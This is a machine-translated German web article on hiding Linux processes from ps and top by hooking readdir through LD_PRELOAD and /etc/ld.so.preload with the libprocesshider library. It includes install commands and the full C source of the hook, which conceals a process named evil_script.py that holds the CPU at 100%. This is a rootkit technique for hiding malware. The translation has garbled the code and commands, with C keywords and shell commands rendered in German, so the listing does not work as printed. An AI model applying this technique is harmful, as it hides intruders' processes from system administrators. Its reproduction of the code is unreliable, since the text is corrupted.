Eine Methode zum Verbergen von Prozessen unter Linux und die dabei auftretenden Fallstricke

Eine Methode zum Verbergen von Prozessen unter Linux und die dabei auftretenden Fallstricke

Vorwort

1. Die in diesem Artikel verwendeten Tools können unter https://github.com/gianlucaborello/libprocesshider heruntergeladen werden.

2. Die Idee besteht darin, LD_PRELOAD zu verwenden, um Systemfunktionen zu kapern

Was ist LD_PRELOAD?

LD_PRELOAD ist eine Umgebungsvariable des Linux-Systems, die den Laufzeitlink des Programms (Runtime Linker) beeinflussen kann. Damit können Sie die dynamische Linkbibliothek definieren, die zuerst geladen wird, bevor das Programm ausgeführt wird. Diese Funktion wird hauptsächlich verwendet, um dieselben Funktionen selektiv in verschiedene dynamische Linkbibliotheken zu laden. Über diese Umgebungsvariable können wir andere dynamische Linkbibliotheken zwischen dem Hauptprogramm und seiner dynamischen Linkbibliothek laden und sogar die normale Funktionsbibliothek überschreiben. Einerseits können wir diese Funktion nutzen, um unsere eigenen oder bessere Funktionen zu verwenden (ohne dass wir dafür den Quellcode anderer benötigen), andererseits können wir auch Programme in die Programme anderer einschleusen, um bestimmte Zwecke zu erreichen.

erreichen

1. Laden Sie das Programm herunter und kompilieren Sie es

bmfxgkpt-yhd:~# git-Klon https://github.com/gianlucaborello/libprocesshider.git
Klonen in „libprocesshider“ …
remote: Objekte zählen: 26, fertig.
Remote: Gesamt 26 (Delta 0), wiederverwendet 0 (Delta 0), Pack-wiederverwendet 26
Objekte auspacken: 100 % (26/26), erledigt.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# machen
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2. Verschieben Sie die Datei in das Verzeichnis /usr/local/lib/

mv libprocesshider.so /usr/local/lib/

3. Laden Sie es in den globalen dynamischen Linker

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

prüfen

1. Wir führen evil_script.py aus

2. Zu diesem Zeitpunkt wurde festgestellt, dass evil_script.py in top und ps nicht gefunden werden kann

Zu diesem Zeitpunkt stellten wir fest, dass die CPU zu 100 % ausgelastet war, wir konnten jedoch kein Programm finden, das einen hohen CPU-Auslastungsgrad aufwies.

analysieren

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Jeder Prozess mit diesem Namen wird ausgeschlossen
 */
statischer const char* zu filternder Prozess = "evil_script.py";
/*
 * Einen Verzeichnisnamen mit einem DIR*-Handle abrufen
 */
statische int get_dir_name(DIR* dirp, char* buf, size_t Größe)
{
  int fd = dirfd(dirp);
  wenn(fd == -1) {
    gebe 0 zurück;
  }
  Zeichen tmp[64];
  snprintf(tmp, Größe von(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, Puffer, Größe);
  wenn(ret == -1) {
    gebe 0 zurück;
  }
  buf[ret] = 0;
  Rückgabe 1;
}
/*
 * Holen Sie sich einen Prozessnamen anhand seiner PID
 */
statische int get_process_name(char* pid, char* buf)
{
  wenn(strspn(pid, "0123456789") != strlen(pid)) {
    gebe 0 zurück;
  }
  Zeichen tmp[256];
  snprintf(tmp, Größe von(tmp), "/proc/%s/stat", pid);
  DATEI* f = fopen(tmp, "r");
  wenn(f == NULL) {
    gebe 0 zurück;
  }
  wenn (fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    gebe 0 zurück;
  }
  fclose(f);
  int unbenutzt;
  sscanf(tmp, "%d (%[^)]s", &unbenutzt, buf);
  Rückgabe 1;
}
#define DECLARE_READDIR(dirent, readdir) \
statische Struktur dirent* (*original_##readdir)(DIR*) = NULL; \
Struktur dirent* readdir(DIR *dirp) \
{ \
  wenn(original_##readdir == NULL) { \
    original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
    wenn(original_##readdir == NULL) \
    { \
      fprintf(stderr, "Fehler in dlsym: %s\n", dlerror()); \
    } \
  } \
  struct dirent* dir; \
  während(1) \
  { \
    dir = original_##readdir(dirp); \
    if(dir) { \
      char Verzeichnisname[256]; \
      char Prozessname[256]; \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
        strcmp(dir_name, "/proc") == 0 && \
        get_process_name(dir->d_name, process_name) && \
        strcmp(Prozessname, zu filternder Prozess) == 0) { \
        weitermachen; \
      } \
    } \
    brechen; \
  } \
  returniere das Verzeichnis; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1. Das Programm definiert eine Variable process_to_filter, um zu steuern, welcher Prozessname nicht angezeigt wird

2. Readdir neu schreiben,

strcmp(process_name, process_to_filter) == 0)

Wenn festgestellt wird, dass der aktuelle Prozessname mit dem zu filternden Prozess übereinstimmt, setzen Sie die Schleife fort.

Aufgetroffene Fallstricke

1. Dieses Programm kann in einigen Linux-Systemen nicht kompiliert werden

Problemumgehung

Löschen Sie eine der letzten beiden Zeilen

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2. Wird in einigen Linux

Shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Es wird nicht wirksam. Zu diesem Zeitpunkt müssen wir die Umgebungsvariable Shell bmfxgkpt-yhd konfigurieren: ~ # vi / etc / profile
Fügen Sie eine Zeile hinzu: shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

Zusammenfassen

Oben ist eine vom Herausgeber vorgestellte Methode zum Verbergen von Prozessen unter Linux und die aufgetretenen Fallstricke. Ich hoffe, es wird allen helfen. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht und der Herausgeber wird Ihnen rechtzeitig antworten. Ich möchte auch allen für ihre Unterstützung der Website 123WORDPRESS.COM danken!

Das könnte Sie auch interessieren:
  • Eine Codezeile zeigt Ihnen, wie Sie Linux-Prozesse verbergen

<<:  Beispielcode zur Implementierung der WeChat-Kontoaufteilung mit Nodejs

>>:  Tutorial zur Installation und Konfiguration von MySQL 5.7 unter CentOS7 (YUM)

Artikel empfehlen

So bedienen Sie das Kontrollkästchen auf einer HTML-Seite

Kontrollkästchen sind auf Webseiten sehr verbreit...

Zusammenfassung der Entwicklung benutzerdefinierter Vue 3-Richtlinien

Was ist eine Richtlinie? Sowohl Angular als auch ...

Detaillierte Erklärung der verschiedenen Verwendungen von proxy_pass in nginx

Inhaltsverzeichnis Proxy-Weiterleitungsregeln Der...

Ausführliche Erklärung zu MySQL vom Einstieg bis zum Aufgeben - Installation

Was Sie lernen werden 1. Softwareinstallation und...

HTTP-Rückgabecodeliste (Erklärung auf Chinesisch und Englisch)

Liste der HTTP-Rückgabecodes (unten finden Sie ei...

Erklärung des HTML-Codes der Webseite: geordnete Liste und ungeordnete Liste

In diesem Abschnitt lernen wir Listenelemente in ...

Beispiel für einen reinen CSS3-Mindmap-Stil

Mindmap Er sieht wahrscheinlich so aus: Die meist...

Wie lang ist eine Funktion in js?

Inhaltsverzeichnis Vorwort Warum Wie viel kostet ...

Anwendung und Implementierung des Datencache-Mechanismus für kleine Programme

Informationen zum Miniprogramm-Datencache Datenca...